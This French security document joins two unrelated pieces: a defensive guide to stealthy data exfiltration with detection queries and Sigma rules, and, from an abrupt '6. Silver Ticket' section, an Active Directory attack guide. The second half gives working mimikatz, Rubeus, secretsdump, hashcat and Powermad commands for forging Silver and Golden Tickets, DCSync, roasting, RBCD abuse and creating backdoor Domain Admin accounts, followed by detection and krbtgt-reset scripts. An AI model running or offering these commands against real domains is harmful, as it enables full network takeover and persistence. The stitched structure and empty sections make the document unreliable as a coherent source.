Exfiltration furtive (DNS, DoH, dead-drop resolvers, cloud storage)

Résumé exécutif

Les adversaires développent des techniques d’exfiltration furtive pour contourner les contrôles réseau et DLP : tunneling DNS, DoH, résolveurs « dead-drop », abus d’API cloud storage, canaux stéganographiques. Ces stratégies exploitent des protocoles essentiels et des services légitimes, rendant la détection difficile sans instrumentation fine et analyse comportementale. Cet article examine les principaux vecteurs d’exfiltration, propose des stratégies de filtrage egress, de contrôle DLP et des détections avancées (machine learning, analyse séquentielle). L’objectif est d’équiper les équipes SecOps, réseau et data protection pour anticiper, détecter et contrer ces sorties de données.

Panorama des vecteurs d’exfiltration

1. DNS tunneling : utilisation de requêtes/subdomains pour transporter des données (ex : Iodine, DNScat2). 2. DoH (DNS over HTTPS) : encapsulation DNS dans HTTPS pour masquer le trafic. 3. Dead-drop resolvers : domaines/tunnels permettant de déposer/récupérer des données (OneDrive, Google Docs). 4. Cloud storage abuse : upload vers S3, GCS, Dropbox, Mega. 5. API SaaS : Slack, Teams, GitHub Gist, paste services. 6. Email sortant / HTTP POST : POST vers serveurs anonymes. 7. Steganography : insertion dans images, protocoles (ICMP, VoIP).

DNS tunneling : principes et détection

Fonctionnement

• Données encodées (Base32/64) dans labels DNS.
• Client envoie requêtes vers domaine contrôlé ; serveur de nom renvoie réponse encodée.
• Utilisation des types TXT, NULL, CNAME.

Indicateurs

• Longueur des labels (>50 caractères).
• Entropie élevée (Base64).
• Volume de requêtes vers domaine unique.
• Types de requêtes atypiques (NULL, TXT) pour domaines non légitimes.

Détection

• Collecter logs DNS (resolver interne).
• Calculer entropie, ratio longueur.
• ML : classification (Random Forest) sur features : longueur, entropie, TTL, réponse NXDOMAIN.
• Outils : Zeek (dns.log), Infoblox Threat Insight, Palo Alto DNS Security.

Mitigation

• Filtrer requêtes vers domaines non autorisés (listes).
• Utiliser DNS response policy zones (RPZ).
• Proxy DNS, interdire accès direct.
• Déployer split-horizon DNS.

DNS over HTTPS (DoH)

Enjeux

DoH chiffre les requêtes DNS dans HTTPS, contournant la surveillance DNS traditionnelle. Les attaquants peuvent utiliser DoH publics (Cloudflare, Google) ou hébergés.

Détection

• Identifier egress vers DoH endpoints (listes).
• Analyse TLS SNI (cloudflare-dns.com, dns.google).
• Decrypt TLS (inspection) où autorisé.
• Anomalies : trafic DoH depuis serveurs (non browsers).
• Machine learning sur patterns (ex : ratio requêtes).

Mitigation

• Interdire DoH vers Internet, autoriser via proxy interne.
• Configurer navigateurs via GPO (DoH disabled or corporate DoH).
• Firewall L7 (Palo Alto, Zscaler) pour bloquer DoH non approuvé.

Dead-drop resolvers & commande

Les « dead-drop » utilisent des stockages partagés (ex : Dropbox, GitHub) comme canaux. Les attaquants déposent un fichier, l’agent lit et exfiltre via API.

Détection

• Logs API : ListObjects, GetObject sur bucket inconnu.
• Proxy HTTP -> détection uploads (size, content-type).
• CASB (Defender for Cloud Apps) pour surveiller activités anormales.
• Data Tagging : classification sensible.

Mitigation

• Egress filtering : autoriser endpoints officiels seulement.
• DLP pour détecter PII dans uploads.
• Force CASB inline.

Abuse cloud storage & SaaS

• Uploads vers pastebin, Gist, Slack.
• Utilisation de OneDrive, SharePoint personnels.

Détection

• CASB usage -> baseline.
• SIEM corrèle upload volume.
• DLP inspect content (Exact Data Match).
• Monitor tokens Oauth (consent).

Mitigation

• Bloquer unsanctioned apps.
• SSO enforce.
• Data tagging + DLP.

Egress filtering stratégie

1. Whitelisting : autoriser domaines/IP approuvés. 2. Proxy : tout trafic HTTP/HTTPS via proxy. 3. Firewall L7 : bloquer protocoles non autorisés (ICMP). 4. Micro segmentation : limiter flux par rôle. 5. TLS inspection : inspecter payload (avec respect RGPD).

DLP (Data Loss Prevention) modern

• DLP Endpoint : surveiller copies USB, impression.
• DLP Network : inspecter payload, regex, machine learning.
• DLP Cloud : Office 365, Google.

Features avancées

• EDM (Exact Data Match).
• Trainable classifiers (ML).
• Fingerprinting (hash).

Challenges

• Fausse positivité.
• Chiffrement end-to-end.
• DoH/HTTPS.

Détection ML & analytique comportementale

• Features: volume, entropie, destination, temps.
• Techniques: Isolation Forest, LSTM, clustering.
• Data: DNS logs, NetFlow, proxy, CASB.

ML détecte anomalies exfil vs baseline. Requiert data lake, label, MLOps.

Dead-drop via DNS TXT

• Cobalt Strike DNS beacon.
• Indicateurs : flux type TXT, réponse contenant Base64.
• Zeek dns.log -> answers.

Covert channels additionnels

• ICMP : ping payload (Ptunnel).
• HTTP/S : POST vers API restful.
• SMTP : email auto.
• VoIP / RTP : moduler audio.

Détection

• NetFlow -> port usage.
• IDS signatures (Snort).
• Behavioral analytics.

Egress monitoring architecture

• Centraliser logs (DNS, proxy, firewall, CASB).
• Data lake (Kusto, Splunk, Elastic).
• Correlation rules (SIEM).
• ML pipeline.
• SOAR response (block, notify).

Response playbooks

1. Alert exfil suspect. 2. Identify host & user. 3. Isolate (network segmentation). 4. Collect memory/disk (Volatility). 5. Reset credentials. 6. Notify data governance. 7. Conduct impact analysis (données exfiltrées). 8. Report (RGPD).

Hunt scenarios

• DNS: long labels, high entropy.
• Proxy: large uploads outside business hours.
• CASB: unusual API key usage.
• NetFlow: sustained traffic to new IP.

KQL example:

DNSRequests
| extend labelLength = strlen(Name)
| extend entropy = bin(Entropy(Name), 0.1)
| where labelLength > 50 or entropy > 4.0
| summarize count() by ClientIP, Name, entropy

Proxy example:

ProxyLogs
| where DestinationUrl contains "dropbox" and BytesUploaded > 10000000
| summarize total = sum(BytesUploaded) by User, DestinationUrl

Case studies

1. FIN7 DNS exfiltration

Utilisation DNSpionage, encode credentials. Détection via entropie + NXDOMAIN rate. Mitigation : firewall DNS, chalklist domain.

2. Equipe interne (shadow IT) utilisant Google Drive personnel

Giga uploads détectés via CASB. DLP a bloqué. Sensibilisation + SSO enforce.

3. APT exfil via Dropbox API

Token OAuth volé. CASB a détecté ListFolders par compte service. Remédiation : revoke token, rotate secrets, adopt conditional access.

Governance & politiques

• Politique egress : document flux autorisés.
• Data classification : tag données, générer règles DLP.
• Processus exception (approuver domaines additionnels).

Collaboration inter-équipes

• SecOps + Réseau : firewall, proxy, DNS policies.
• Data Protection : DLP, classification.
• Legal : notification RGPD.

Architecture Zero Trust egress

• Principes ZTNA : explicit allow, micro-segmentation.
• Proxy / CASB pour ressources cloud.
• Identity-aware proxies.

ML detection pipeline details

1. Ingestion logs (Kafka). 2. Feature engineering (Spark). 3. Model training (AutoML). 4. Deployment (Azure ML). 5. Feedback (analyst).

Sensibilisation & formation

• Former employés : pas d’upload non autorisé, signaler anomalies.
• Simulations (exfil scenario) -> tester processus.

Compliance & reporting

• RGPD : notification en 72h.
• PCI DSS : monitoring DLP.
• ISO 27001 : Annex A 13 (transferts).

Metrics

• Mean time to detect exfil.
• % trafic via proxy contrôlé.
• Faux positifs DLP.
• # anomalies exfil par mois.

Résilience

• Backups chiffrés, pour restaurer.
• Logs immuables (WORM).

Roadmap de maturité

1. Phase 1 : logs DNS/proxy centralisés, DLP base. 2. Phase 2 : egress whitelisting, CASB, hunts. 3. Phase 3 : ML detection, SOAR response, cloud integration. 4. Phase 4 : automation cross-domain, ZTNA, data-centric security.

Checklist finale

1. Centraliser logs DNS/HTTP/NetFlow et établir baselines. 2. Déployer filtrage egress (proxy, firewall L7, DoH control). 3. Activer DLP (endpoint, network, cloud) avec classification des données. 4. Surveiller API cloud & SaaS via CASB (détection uploads, tokens). 5. Mettre en œuvre détection ML (entropie, anomalies) et hunts réguliers. 6. Automatiser la réponse (SOAR, isolation, revocation accès). 7. Sensibiliser et gouverner (politiques egress, exceptions). 8. Intégrer la conformité (RGPD, PCI), reporting. 9. Maintenir TI (domaines, IOC) et feed blocklist. 10. Tester régulièrement (table-top, red team) et améliorer en continu.

En suivant cette approche, les organisations réduisent l’impact des techniques d’exfiltration furtive et renforcent la protection de leurs données sensibles.

Analyse détaillée : DNS tunneling

Protocoles et outils

• Iodine : encapsule IPv4 dans DNS. Utilise NULL, TXT. Débit ~1 Mbps.
• DNScat2 : tunnel C2. Encodage Base32, AES.
• DNS2TCP : transfère TCP via DNS.
• Cobalt Strike DNS Beacon : beaconing TXT ou A records.

Signatures comportementales

• Ratio requests/responses élevé.
• Diversité des sous-domaines (pas de caches).
• TTL faible.
• Utilisation de .cloudfront.net (CDN).

SELECT user, SUM(bytesuploaded) as total
FROM proxylogs
WHERE destinationdomain NOT IN (SELECT domain FROM approveddomains)
  AND timestamp >= TIMESTAMPSUB(CURRENTTIMESTAMP(), INTERVAL 1 DAY)
GROUP BY user
HAVING total > 100000000;

title: Suspicious DNS Exfiltration
id: 6e4f1c06-1f23-11ee-be56-0242ac120002
description: Detects potential DNS tunneling via high entropy queries
author: Ayi NEDJIMI
logsource:
  product: windows
  service: dns-server
detection:
  selection:
    QueryName|re: "[A-Za-z0-9+/]{40,}"
  condition: selection
fields:
  - QueryName
  - ClientIP
  - QueryType
level: high

IF app == "Dropbox" AND BytesUploaded > 100MB AND user not in ApprovedGroup
THEN block, alert, create ticket

$logs = Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Windows Defender/Operational'; ID=2072}
$logs | Where-Object { $.Message -like 'DNS over HTTPS*' } | Select TimeCreated, Message

Workflow SOAR (textuel)

1. Trigger: SIEM alert (DNS exfil) 2. Enrich: query EDR for process tree 3. Contain: isolate host via EDR API 4. Investigate: run osquery pack (dns_exfil) 5. Remediate: block domain via firewall API 6. Document: update ticket, attach evidence 7. Close: post-incident review

Matrice de risques

| Vecteur | Probabilité | Impact | Contrôles existants | Améliorations | |---------|-------------|--------|---------------------|---------------| | DNS tunneling | Élevée | Élevé | DNS logging, RPZ | ML entropy, DoH control | | DoH/DoT | Moyen | Élevé | Firewall, GPO | TLS inspection, provider allowlist | | Cloud storage | Élevée | Élevé | CASB, DLP | UEBA, quotas | | API SaaS | Moyen | Moyen | CASB | API anomaly, JIT tokens | | Email sortant | Élevée | Moyen | DLP | NLP classifiers |

KPI avancés & dashboards

• Exfiltration attempts blocked (monthly) -> line chart.
• Top anomaly destinations -> bar chart.
• DLP policy incidents by severity -> stacked.
• Model precision/recall -> table.
• Time to respond (p95) -> gauge.

Programme d’amélioration continue

• Quarterly review of exfil incidents.
• Update blocklists, TI.
• Retrain ML models.
• Red team engagement (semi-annual).
• Policy review with business.

Étude de cas approfondie

1. Blocage domaine via RPZ. 2. Isolation serveur (segmentation). 3. Analyse forensic : rootkit, accès initial via vuln Apache. 4. Exfil estimée : 20 Mo (logs). 5. Reset credentials, patch. 6. Notification interne, pas de données PII confirmées.

• Activer monitoring entropie.
• Déployer WAF.
• Sensibiliser équipe Linux.

Étude de cas DoH

Étude de cas cloud storage

Formation & communication

• Modules e-learning (45 min) sur data protection.
• Campagnes ping DLP (simulate).
• Memo « comment transférer des fichiers en sécurité ».

Outils de test open-source

• Invoke-DNSExfiltrator.
• pwncat.
• Iodine, DNScat2.

Budget & ROI

• Investissements (CASB, DLP) comparés au coût d’une fuite de données.
• KPI -> prouver réduction incidents.

Démarche Zero Trust Data

• Inventory, classification.
• Policy enforcement everywhere.
• Continuous analytics.

Alignement avec MITRE ATT&CK

| Technique | Détection | Contre-mesure | |-----------|-----------|---------------| | T1041 (Exfiltration over Command and Control Channel) | Proxy logs, NetFlow | Egress filtering, DLP | | T1048 (Exfiltration Over Alternative Protocol) | DNS/ICMP logs | Block alt protocols | | T1567 (Exfiltration Over Web Services) | CASB, API logs | App allowlist, quotas | | T1020 (Automated Exfiltration) | Behavioral ML | Rate limiting | | T1537 (Transfer Data to Cloud Account) | CASB | SaaS restrictions |

Roadmap alignée

• Q1 : Deploy DoH control, DNS entropy detection.
• Q2 : Integrate CASB with SOAR, launch ML pilot.
• Q3 : Expand DLP to endpoints, fine-tune policies.
• Q4 : Zero Trust egress architecture, advanced analytics.

Perspectives

• Adoption massive de QUIC/ECH nécessitera de nouveaux mécanismes (handshake metadata, endpoint allowlists).
• DLP s’oriente vers le data-centric (policy attach to data).
• L’IA générative facilite l’analyse logs.

Conclusion finale

La lutte contre l’exfiltration furtive demande une vigilance permanente et une approche holistique, alliant contrôles techniques, gouvernance des données, analyses avancées et collaboration inter-équipes. En anticipant les évolutions protocolaires, en maîtrisant les flux sortants et en exploitant intelligemment la donnée, les organisations protègent leur capital informationnel et renforcent leur résilience face aux menaces en constante mutation.

6. Silver Ticket : falsification de tickets de service

6.1 Principe et mécanisme

Un Silver Ticket est un ticket de service forgé sans interaction avec le KDC. Si un attaquant obtient le hash NTLM (ou la clé AES) d'un compte de service, il peut créer des tickets de service valides pour ce service sans que le DC ne soit contacté. Le ticket forgé contient un PAC (Privilege Attribute Certificate) arbitraire, permettant à l'attaquant de s'octroyer n'importe quels privilèges pour le service ciblé.

Contrairement au Golden Ticket qui forge un TGT, le Silver Ticket forge directement un Service Ticket, ce qui le rend plus discret car il ne génère pas d'événement 4768 (demande de TGT) ni 4769 (demande de ST) sur le DC.

6.2 Création et injection de Silver Tickets

# Création d'un Silver Ticket pour le service CIFS
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server01.domain.local /service:cifs /rc4:serviceaccounthash /ptt

# Silver Ticket pour service HTTP (accès web avec IIS/NTLM)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:webapp.domain.local /service:http /aes256:serviceaes256key /ptt

# Silver Ticket pour LDAP (accès DC pour DCSync)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:dc01.domain.local /service:ldap /rc4:dccomputerhash /ptt

# Silver Ticket pour HOST (WMI/PSRemoting)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server02.domain.local /service:host /rc4:computerhash /ptt

6.3 Cas d'usage spécifiques par service

6.4 Détection des Silver Tickets

# Activer la validation PAC stricte (GPO)
Computer Configuration > Policies > Windows Settings > Security Settings > 
Local Policies > Security Options > 
"Network security: PAC validation" = Enabled

# Script PowerShell pour corréler accès et tickets KDC
$timeframe = (Get-Date).AddHours(-1)
$kdcEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768,4769;StartTime=$timeframe}
$accessEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624;StartTime=$timeframe} | 
    Where-Object {$_.Properties[8].Value -eq 3} # Logon type 3 (network)

# Identifier les accès sans ticket KDC correspondant
$accessEvents | ForEach-Object {
    $accessTime = $_.TimeCreated
    $user = $_.Properties[5].Value
    $matchingKDC = $kdcEvents | Where-Object {
        $_.Properties[0].Value -eq $user -and 
        [Math]::Abs(($_.TimeCreated - $accessTime).TotalSeconds) -lt 30
    }
    if (-not $matchingKDC) {
        Write-Warning "Accès suspect sans ticket KDC: $user à $accessTime"
    }
}

7. Golden Ticket : compromission totale du domaine

7.1 Principe et impact

Le Golden Ticket représente l'apex de la compromission Kerberos. En obtenant le hash du compte krbtgt (le compte de service utilisé par le KDC pour signer tous les TGT), un attaquant peut forger des TGT arbitraires pour n'importe quel utilisateur, y compris des comptes inexistants, avec des privilèges et une durée de validité de son choix (jusqu'à 10 ans).

Un Golden Ticket offre une persistance exceptionnelle : même après la réinitialisation de tous les mots de passe du domaine, l'attaquant conserve son accès tant que le compte krbtgt n'est pas réinitialisé (opération délicate nécessitant deux réinitialisations espacées).

7.2 Extraction du hash krbtgt

L'obtention du hash krbtgt nécessite généralement des privilèges d'administrateur de domaine ou l'accès physique/système à un contrôleur de domaine. Plusieurs techniques permettent cette extraction :

# DCSync du compte krbtgt
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt

# DCSync de tous les comptes (dump complet)
mimikatz # lsadump::dcsync /domain:domain.local /all /csv

# DCSync depuis Linux avec impacket
python3 secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt

# Création d'une copie shadow avec ntdsutil
ntdsutil "ac i ntds" "ifm" "create full C:\temp\ntds_backup" q q

# Extraction avec secretsdump (impacket)
python3 secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

# Extraction avec DSInternals (PowerShell)
$key = Get-BootKey -SystemHivePath 'C:\temp\SYSTEM'
Get-ADDBAccount -All -DBPath 'C:\temp\ntds.dit' -BootKey $key | 
    Where-Object {$_.SamAccountName -eq 'krbtgt'}

7.3 Forge et utilisation du Golden Ticket

# Golden Ticket basique (RC4)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /ptt

# Golden Ticket avec AES256 (plus discret)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /aes256:krbtgt_aes256_key /ptt

# Golden Ticket avec durée personnalisée (10 ans)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /endin:5256000 /renewmax:5256000 /ptt

# Golden Ticket pour utilisateur fictif
kerberos::golden /user:FakeAdmin /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /id:500 /groups:512,513,518,519,520 /ptt

# Exportation du ticket vers fichier
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /ticket:golden.kirbi

# Injection du ticket dans la session
mimikatz # kerberos::ptt golden.kirbi

# Vérification du ticket injecté
klist

# Utilisation du ticket pour accès DC
dir \\dc01.domain.local\C$
psexec.exe \\dc01.domain.local cmd

# Création de compte backdoor
net user backdoor P@ssw0rd! /add /domain
net group "Domain Admins" backdoor /add /domain

# DCSync pour maintenir la persistance
mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator

7.4 Détection avancée des Golden Tickets

# Script de détection des anomalies Kerberos
# Recherche des authentifications sans événement TGT correspondant
$endTime = Get-Date
$startTime = $endTime.AddHours(-24)

$logons = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4624
    StartTime=$startTime
} | Where-Object {
    $_.Properties[8].Value -eq 3 -and # Logon Type 3
    $_.Properties[9].Value -match 'Kerberos'
}

$tgtRequests = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4768
    StartTime=$startTime
} | Group-Object {$_.Properties[0].Value} -AsHashTable

foreach ($logon in $logons) {
    $user = $logon.Properties[5].Value
    $time = $logon.TimeCreated
    
    if (-not $tgtRequests.ContainsKey($user)) {
        Write-Warning "Golden Ticket suspect: $user à $time (aucun TGT)"
    }
}

# Détection de tickets avec durée de vie anormale
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768} |
    Where-Object {
        $ticketLifetime = $_.Properties[5].Value
        $ticketLifetime -gt 43200 # > 12 heures
    } | ForEach-Object {
        Write-Warning "Ticket avec durée anormale: $($_.Properties[0].Value)"
    }

8. Chaîne d'attaque complète : scénario réel

8.1 Scénario : De l'utilisateur standard au Domain Admin

Examinons une chaîne d'attaque complète illustrant comment un attaquant peut progresser depuis un compte utilisateur standard jusqu'à la compromission totale du domaine en exploitant les vulnérabilités Kerberos.

Phase 1 : Reconnaissance initiale (J+0, H+0)

# Compromission initiale : phishing avec accès VPN
# Énumération du domaine avec PowerView
Import-Module PowerView.ps1

# Identification du domaine et des DCs
Get-Domain
Get-DomainController

# Recherche de comptes sans préauthentification
Get-DomainUser -PreauthNotRequired | Select samaccountname,description

# Sortie : svc_reporting (compte de service legacy)

# Énumération des SPNs
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname

# Sortie : 
# - svc_sql : MSSQLSvc/SQL01.corp.local:1433
# - svc_web : HTTP/webapp.corp.local

Phase 2 : AS-REP Roasting (J+0, H+1)

# Extraction du hash AS-REP pour svc_reporting
.\Rubeus.exe asreproast /user:svc_reporting /format:hashcat /nowrap

# Hash obtenu : [email protected]:8a3c...

# Craquage avec Hashcat
hashcat -m 18200 asrep.hash rockyou.txt -r best64.rule

# Mot de passe craqué en 45 minutes : "Reporting2019!"

# Validation des accès
net use \\dc01.corp.local\IPC$ /user:corp\svc_reporting Reporting2019!

Phase 3 : Kerberoasting et compromission de service (J+0, H+2)

# Avec le compte svc_reporting, effectuer du Kerberoasting
.\Rubeus.exe kerberoast /user:svc_sql /nowrap

# Hash obtenu pour svc_sql (RC4)
$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local:1433*$7f2a...

# Craquage (6 heures avec GPU)
hashcat -m 13100 tgs.hash rockyou.txt -r best64.rule

# Mot de passe : "SqlService123"

# Énumération des privilèges de svc_sql
Get-DomainUser svc_sql -Properties memberof

# Découverte : membre du groupe "SQL Admins" 
# Ce groupe a GenericAll sur le groupe "Server Operators"

Phase 4 : Élévation via délégation RBCD (J+0, H+8)

# Vérification des permissions avec svc_sql
Get-DomainObjectAcl -Identity "DC01$" | ? {
    $_.SecurityIdentifier -eq (Get-DomainUser svc_sql).objectsid
}

# Découverte : WriteProperty sur msDS-AllowedToActOnBehalfOfOtherIdentity

# Création d'un compte machine contrôlé
Import-Module Powermad
$password = ConvertTo-SecureString 'AttackerP@ss123!' -AsPlainText -Force
New-MachineAccount -MachineAccount EVILCOMPUTER -Password $password

# Configuration RBCD sur DC01
$ComputerSid = Get-DomainComputer EVILCOMPUTER -Properties objectsid | 
    Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DC01 | Set-DomainObject -Set @{
    'msds-allowedtoactonbehalfofotheridentity'=$SDBytes
}

# Exploitation S4U pour obtenir ticket Administrator vers DC01
.\Rubeus.exe s4u /user:EVILCOMPUTER$ /rc4:computerhash \
    /impersonateuser:Administrator /msdsspn:cifs/dc01.corp.local /ptt

# Accès au DC comme Administrator
dir \\dc01.corp.local\C$

Phase 5 : Extraction krbtgt et Golden Ticket (J+0, H+10)

# DCSync depuis le DC compromis
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

# Hash krbtgt obtenu :
# NTLM: 8a3c5f6e9b2d1a4c7e8f9a0b1c2d3e4f
# AES256: 2f8a6c4e9b3d7a1c5e8f0a2b4c6d8e0f...

# Obtention du SID du domaine
whoami /user
# S-1-5-21-1234567890-1234567890-1234567890

# Création du Golden Ticket
kerberos::golden /user:Administrator /domain:corp.local \
    /sid:S-1-5-21-1234567890-1234567890-1234567890 \
    /aes256:2f8a6c4e9b3d7a1c5e8f0a2b4c6d8e0f... \
    /endin:5256000 /renewmax:5256000 /ptt

# Validation : accès total au domaine
net group "Domain Admins" /domain
psexec.exe \\dc01.corp.local cmd

# Établissement de persistance multiple
# 1. Création de compte backdoor
net user h4ck3r Sup3rS3cr3t! /add /domain
net group "Domain Admins" h4ck3r /add /domain

# 2. Modification de la GPO par défaut pour ajout de tâche planifiée
# 3. Création de SPN caché pour Kerberoasting personnel
# 4. Exportation de tous les hashes du domaine

8.2 Timeline et indicateurs de compromission

9. Architecture de détection et réponse

9.1 Stack de détection recommandée

Une détection efficace des attaques Kerberos nécessite une approche en profondeur combinant plusieurs technologies et méthodes.

# Détection AS-REP Roasting
index=windows sourcetype=WinEventLog:Security EventCode=4768 Pre_Authentication_Type=0
| stats count values(src_ip) as sources by user
| where count > 5
| table user, count, sources

# Détection Kerberoasting (multiples TGS-REQ avec RC4)
index=windows sourcetype=WinEventLog:Security EventCode=4769 Ticket_Encryption_Type=0x17
| stats dc(Service_Name) as unique_services count by src_ip user
| where unique_services > 10 OR count > 20

# Détection DCSync
index=windows sourcetype=WinEventLog:Security EventCode=4662 
    Properties="*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*" OR 
    Properties="*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*"
| where user!="*$" AND user!="NT AUTHORITY\\SYSTEM"
| table _time, user, dest, Object_Name

# Détection Golden Ticket (authent sans TGT)
index=windows sourcetype=WinEventLog:Security EventCode=4624 Logon_Type=3 Authentication_Package=Kerberos
| join type=left user _time [
    search index=windows sourcetype=WinEventLog:Security EventCode=4768
    | eval time_window=_time
    | eval user_tgt=user
]
| where isnull(user_tgt)
| stats count by user, src_ip, dest

9.2 Playbook de réponse aux incidents

# Script de réponse d'urgence - Reset krbtgt
# À exécuter depuis un DC avec DA privileges

# Phase 1 : Collecte d'informations
$domain = Get-ADDomain
$krbtgt = Get-ADUser krbtgt -Properties PasswordLastSet, msDS-KeyVersionNumber

Write-Host "[+] Domaine: $($domain.DNSRoot)"
Write-Host "[+] Dernier changement mot de passe krbtgt: $($krbtgt.PasswordLastSet)"
Write-Host "[+] Version clé actuelle: $($krbtgt.'msDS-KeyVersionNumber')"

# Phase 2 : Premier reset
Write-Host "[!] Premier reset du compte krbtgt..."
$newPassword = ConvertTo-SecureString -AsPlainText -Force -String (
    -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 128 | % {[char]$_})
)
Set-ADAccountPassword -Identity krbtgt -NewPassword $newPassword -Reset

Write-Host "[+] Premier reset effectué. Attendre 24h avant le second reset."
Write-Host "[!] Vérifier la réplication AD avant de continuer."

# Vérification de la réplication
repadmin /showrepl

# Phase 3 : Après 24h - Second reset
Write-Host "[!] Second reset du compte krbtgt..."
$newPassword2 = ConvertTo-SecureString -AsPlainText -Force -String (
    -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 128 | % {[char]$_})
)
Set-ADAccountPassword -Identity krbtgt -NewPassword $newPassword2 -Reset

Write-Host "[+] Reset krbtgt terminé. Tous les tickets Kerberos précédents sont invalidés."

# Phase 4 : Actions post-reset
Write-Host "[!] Actions recommandées:"
Write-Host "1. Forcer la reconnexion de tous les utilisateurs"
Write-Host "2. Redémarrer tous les services utilisant des comptes de service"
Write-Host "3. Vérifier les GPOs et objets AD suspects"
Write-Host "4. Auditer les comptes créés récemment"

# Audit rapide
Get-ADUser -Filter {Created -gt (Get-Date).AddDays(-7)} | 
    Select Name, Created, Enabled